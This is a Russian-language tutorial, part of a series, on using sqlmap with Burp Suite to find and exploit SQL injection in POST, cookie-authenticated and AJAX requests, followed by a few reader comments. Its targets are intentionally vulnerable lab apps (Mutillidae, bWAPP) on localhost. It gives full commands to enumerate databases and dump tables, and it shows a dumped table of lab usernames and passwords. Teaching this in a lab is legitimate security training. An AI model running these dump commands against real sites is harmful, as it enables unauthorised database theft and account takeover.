Инструкция по использованию sqlmap. Ч.2: Продвинутое сканирование и эксплуатация (POST, после аутентификации, AJAX/jQuery)
Начало:
Поскольку некоторые из описанных ниже методик эксплуатации нарушают принципы этичного хакинга, я предлагаю продолжить знакомство с sqlmap в специально предназначенной для этого среде с уязвимыми веб-приложениями. И ещё не всегда просто найти уязвимый сайт для демонстрации определённых приёмов сканирования. К тому же, в реальных условиях можно не получить положительные результаты даже если вы всё сделали правильно, а сайт уязвим. Могут вмешаться самые разнообразные факторы: во время тестирования сайт «упал», проблемы с вашим Интернет-подключением, использование файервола веб-приложений и т.д.
Я буду использовать виртуальную машину Web Security Dojo, в которую уже установлены и готовы для взлома множество уязвимых веб-приложений.
Подготовка Web Security Dojo:
- Обновление OWASP Mutillidae II и Damn Vulnerable Web Application (DVWA) до последних версий. Как это сделать написано по ссылкам на описание программ (это опционально)
- Установка sqlmap (обязательно):
cd bin/ git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev cd sqlmap-dev/ sqlmap.py -h
- Скачивание самой свежей версии Burp Suite: https://portswigger.net/DownloadUpdate.ashx?Product=Free (опционально, в системе присутствует одна из предыдущих версий Burp Suite, можно использовать её)
- Установка bWAPP в Web Security Dojo – с помощью скрипта, как это показано здесь (обязательно)
Сканирование с sqlmap параметров, передаваемых методом POST
Не всегда данные передаются методом GET, метод POST также популярен. Перейдём, например, на страницу http://localhost/mutillidae/index.php?page=login.php (в Web Security Dojo):
При вводе произвольных неверных данных появляется соответствующая надпись «Account does not exist» - аккаунт не существует:
Если ввести данные с кавычкой, то можно увидеть, что присутствует ошибка MySQL, которая выводится на экран:
Для успешного сканирования с sqlmap нужно знать названия передаваемых переменных, а также полный набор передаваемых данных. Поскольку на некоторых сайтах при получении неполного набора данных информация не отправляется в базу данных, а сразу отбрасывается.
Современные веб-сайты и веб-приложения постоянно усложняются, веб-мастера с помощью JavaScript кода на лету очень искусно манипулируют любыми данными и объектами страницы. Поэтому анализ HTML кода и JavaScript может занять длительное время, а в конечном счёте не дать результата, т.к. мы что-то пропустили. На мой взгляд, лучше анализировать передаваемые, уже полностью сформированные данные одной из подходящих для этого программ. Я покажу как это делать на примере Burp Suite.
Настройка прокси в Burp Suite для анализа данных, передаваемых из веб-формы
Запустите Burp Suite, это можно сделать из меню, либо, если вы скачали свежую версию, так:
java -jar ./Downloads/burpsuite_free_*.jar
Переходим во вкладку Proxy -> Options. Там в самом верху в Proxy Listeners нажимаем Add и добавляем новый прослушиватель: на любом не занятом порту, например, 7070. В качестве Specific Address выберите IP компьютера атакующего (т.е. той машины, где запущен Burp).
Здесь же перейдите во вкладку Request handling и поставьте галочку на Support invisible proxying (enable only if needed).
Когда добавите новый прослушиватель, поставьте галочку там, где Running (это будет означать, что он задействован в данное время).
Теперь спуститесь в самый низ, найдите Allow requests to web interface using fully-qualifyed DNS hostnames и поставьте там галочку. (опция убрана из последних версий - это действие больше не требуется).
Теперь перейдите в Proxy -> Intercept, отключите его (если включён).
Теперь в браузере открываете Настройки -> Advanced -> Network -> Connection -> Settings.
Там выберите Manual Proxy Configuration и в полях HTTP Proxy введите IP и порт прокси в Burp Suite.
Эксплуатация уязвимых к SQL-инъекции параметров, передаваемых методом POST
Возвращаемся на страницу ввода данных, в качестве имени пользователя я ввожу 111111, а в качестве пароля 222222 – чтобы было проще искать.
Переходим к Burp Suite и смотрим там Proxy -> HTTP history:
Для нас важнейшей строкой является username=111111&password=222222&login-php-submit-button=Login – именно из-за этих данных мы и настраивали прокси. Команда формируется следующим образом:
- ~/bin/sqlmap-dev/sqlmap.py – путь до sqlmap
- -u http://localhost/mutillidae/index.php?page=login.php – адрес страницы, на которой мы вводим логин и пароль
- --data="username=111111&password=222222&login-php-submit-button=Login" – после опции --data указывается строка передаваемых данных
Получается:
~/bin/sqlmap-dev/sqlmap.py -u http://localhost/mutillidae/index.php?page=login.php --data="username=111111&password=222222&login-php-submit-button=Login"
Запоминаем, что Burp Suite среди остальных данных показал нам информацию о кукиз: Cookie: showhints=1; security_level=0; PHPSESSID=q9hh33sjd4rdu6sf0032h13jl7. В этом раз она не пригодилась, но запоминаем, что они также передаются веб-приложению – нам это в дальнейшем пригодится.
Достаточно быстро получаем информацию, что параметр username является уязвимым:
Теперь действуем по аналогии с первой частью. Получаем список баз данных:
~/bin/sqlmap-dev/sqlmap.py -u http://localhost/mutillidae/index.php?page=login.php --data="username=111111&password=222222&login-php-submit-button=Login" --dbs
Смотрим названия таблиц, содержащихся в базе данных security:
~/bin/sqlmap-dev/sqlmap.py --data="username=111111&password=222222&login-php-submit-button=Login" -u http://localhost/mutillidae/index.php?page=login.php -D security --tables
Смотрим содержимое таблицы users в базе данных security:
~/bin/sqlmap-dev/sqlmap.py -u http://localhost/mutillidae/index.php?page=login.php --data="username=111111&password=222222&login-php-submit-button=Login" -D security -T users --dump
Теперь у нас есть логины и пароли – можно выбрать кого угодно для входа на сайт:
Database: security Table: users [13 entries] +----+----------+------------+ | id | username | password | +----+----------+------------+ | 1 | Dumb | Dumb | | 2 | Angelina | I-kill-you | | 3 | Dummy | p@ssword | | 4 | secure | crappy | | 5 | stupid | stupidity | | 6 | superman | genious | | 7 | batman | mob!le | | 8 | admin | admin | | 9 | admin1 | admin1 | | 10 | admin2 | admin2 | | 11 | admin3 | admin3 | | 12 | dhakkan | dumbo | | 14 | admin4 | admin4 | +----+----------+------------+
Жаль только, что они не подходят к той странице, которую мы проверяли на уязвимость – судя по всему, мы получили данные для какого-то другого веб-приложения. Кстати, несмотря на то, что это лабораторное окружение, в котором собрано несколько уязвимых приложений, такая ситуация является вполне обычной для реальной практики. Веб-мастера в целях экономии денег на одном хостинге размещают несколько сайтов. А в целях экономии времени используют одного и того же пользователя базы данных для всех сайтов. Поэтому нередки ситуации, взломав один сайт, получить базы данных сразу для нескольких. Появляется другая проблема – как теперь найти эти сайты в Интернете?
Посмотрим, какие таблицы есть в БД nowasp:
~/bin/sqlmap-dev/sqlmap.py -u http://localhost/mutillidae/index.php?page=login.php --data="username=111111&password=222222&login-php-submit-button=Login" -D nowasp --tables
Выведем содержимое таблицы accounts:
~/bin/sqlmap-dev/sqlmap.py -u http://localhost/mutillidae/index.php?page=login.php --data="username=111111&password=222222&login-php-submit-button=Login" -D nowasp -T accounts --dump
С помощью этих данных я вошёл как некий adrian, которому нравятся фильмы про зомби:
Сканирование sqlmap после ввода логина и пароля
Следующие примеры я буду показывать в bWAPP. Перейдём на страницу http://localhost/bwapp/login.php. У нас спрашивают логин и пароль для входа (введите bee/bug). Это обычная ситуация на многих веб-сайтах и приложениях: после ввода учётных данных мы получаем доступ в дополнительные разделы, возможность писать сообщения и т.д. Если вы хотите просканировать эти внутренние страницы с помощью sqlmap, то нужно учитывать, что программа sqlmap никаких логинов и паролей не вводила, поэтому, как и любой пользователь, не выполнивший вход, она будет перенаправлена на страницу входа. Обычное веб-сайты «запоминают» и различают пользователй, выполнивших вход, с помощью кукиз. Т.е. чтобы веб-сайт думал, что sqlmap выполнила вход, нужно чтобы вместе с другими данными она передавала валидные (действительные) кукиз для какого-то пользователя.
Рассмотрим на примере. Я вхожу в bWAPP. В меню «Choose your bug» я выбираю «SQL Injection (GET/Search)». Ввожу произвольные данные и нажимаю кнопку для поиска:
Меня перекинуло на страницу http://localhost/bwapp/sqli_1.php?title=111&action=search
Поскольку для передачи данных используется метод GET, мы можем начать проверку передаваемых параметров, составим команду:
~/bin/sqlmap-dev/sqlmap.py -u "http://localhost/bwapp/sqli_1.php?title=111&action=search"
Но получаем следующий результат:
Т.е. нас просто перебрасывает на страницу входа.
Посмотрим с помощью Burp Suite на передаваемые данные:
Кроме прочей информации, передаются кукиз, нам нужно использовать опцию --cookie, чтобы sqlmap также их передавала. Теперь команда выглядит так:
~/bin/sqlmap-dev/sqlmap.py -u "http://localhost/bwapp/sqli_1.php?title=111&action=search" --cookie="security_level=0; PHPSESSID=0cq9839068a1kkaje4kcqnr9o6"
И мы сразу же получаем положительный результат:
Вход на веб-сайт и последующее сканирование параметров, передаваемых методом POST
Если вы разобрались с двумя предыдущими пунктами, то здесь для вас не будет ничего нового – просто комбинирование предыдущих методик.
Перейдём в раздел «SQL Injection (POST/Search)». Отправим произвольные данные и посмотрим полное содержание запроса в Burp Suite:
Составляем следующую команду:
~/bin/sqlmap-dev/sqlmap.py -u "http://localhost/bwapp/sqli_6.php" --data="title=111111&action=search" --cookie="security_level=0; PHPSESSID=0cq9839068a1kkaje4kcqnr9o6"
Здесь:
- ~/bin/sqlmap-dev/sqlmap.py – путь до программы sqlmap
- -u "http://localhost/bwapp/sqli_6.php" – адрес сайта, куда передаются данные
- --data="title=111111&action=search" – передаваемые методом POST данные
- --cookie="security_level=0; PHPSESSID=0cq9839068a1kkaje4kcqnr9o6" – передаваемые кукиз
Опять сразу получаем результат:
Сканирование параметров, передаваемых через AJAX/jQuery
Использование AJAX/jQuery может создать проблемы только пентестерам, которые составляют команды для sqlmap исследуя HTML/JavaScript код. Если мы смотрим передаваемые данные в Burp Suite, то для нас всё как на ладони. Разве что стоит упомянуть такую необычную особенность метода AJAX/jQuery – даже при GET запросах адресная строка браузера не меняется. Ещё одна особенность – можно реализовать одновременную передачу методами GET и POST.
Перейдём в раздел «SQL Injection (AJAX/JSON/jQuery)». Я ввожу данные:
И при каждом нажатии клавиш выполняется запрос к серверу:
Проанализируем один из запросов:
Используется метод GET. Передаются данные /bwapp/sqli_10-2.php?title=111111 к хосту localhost. Также передаются кукиз security_level=0; PHPSESSID=0cq9839068a1kkaje4kcqnr9o6.
Составляем команду:
~/bin/sqlmap-dev/sqlmap.py -u "http://localhost/bwapp/sqli_10-2.php?title=111111" --cookie="security_level=0; PHPSESSID=0cq9839068a1kkaje4kcqnr9o6"
Всё элементарно – параметр title уязвим:
Выбор параметра для тестирования
Возможно, вы уже обратили внимание, что в последних примерах sqlmap получает сразу по нескольку параметров. И пока наши желания совпадали с выбором sqlmap. Но давайте рассмотрим следующий пример. Имеется страница http://localhost/mutillidae/index.php?page=user-info.php&username=111111&password=222222&user-info-php-submit-button=View+Account+Details и я знаю, что параметр username является уязвимым, поскольку если вставить кавычку http://localhost/mutillidae/index.php?page=user-info.php&username=111111'&password=222222&user-info-php-submit-button=View+Account+Details, то выводится сообщение об ошибке. Я составляю команду:
~/bin/sqlmap-dev/sqlmap.py -u "http://localhost/mutillidae/index.php?page=user-info.php&username=111111&password=222222&user-info-php-submit-button=View+Account+Details"
По этой команде началась проверка параметра page. Но я хочу проверить только username. Для этого нужно использовать опцию -p, после которой указывается параметр для проверки. Например:
~/bin/sqlmap-dev/sqlmap.py -u "http://localhost/mutillidae/index.php?page=user-info.php&username=111111&password=222222&user-info-php-submit-button=View+Account+Details" -p username
Продолжение:
Связанные статьи:
- Инструкция по использованию sqlmap. Ч.1: Основы работы (GET) (100%)
- Как пользоваться Kali Linux в WSL (подсистеме Windows для Linux): подборка лучших программ (ч. 1) (87.1%)
- Использование sqlmap для инъекции в адресе страницы сайта (URI). Произвольные точки инъекции (84.2%)
- Инструкция по использованию sqlmap. Ч.3: Залив бэкдора, выполнение системных команд, изменение данных в БД (81.4%)
- Утечка имён файлов в .DS_Store: как просмотреть содержимое и как эксплуатировать (51.3%)
- Брут-форс формы входа роутеров (RANDOM - 14.3%)
У меня в Burp нет такого "Теперь спуститесь в самый низ, найдите Allow requests to web interface using fully-qualifyed DNS hostnames и поставьте там галочку. "
Версия 1.7.27. Как быть?(
Убрали (или переместили) в последних версиях эту опцию - без неё также работает.
Спасибо за статью. Однако автор забыл указать, что целевой сайт пишется в кавычках после тега -u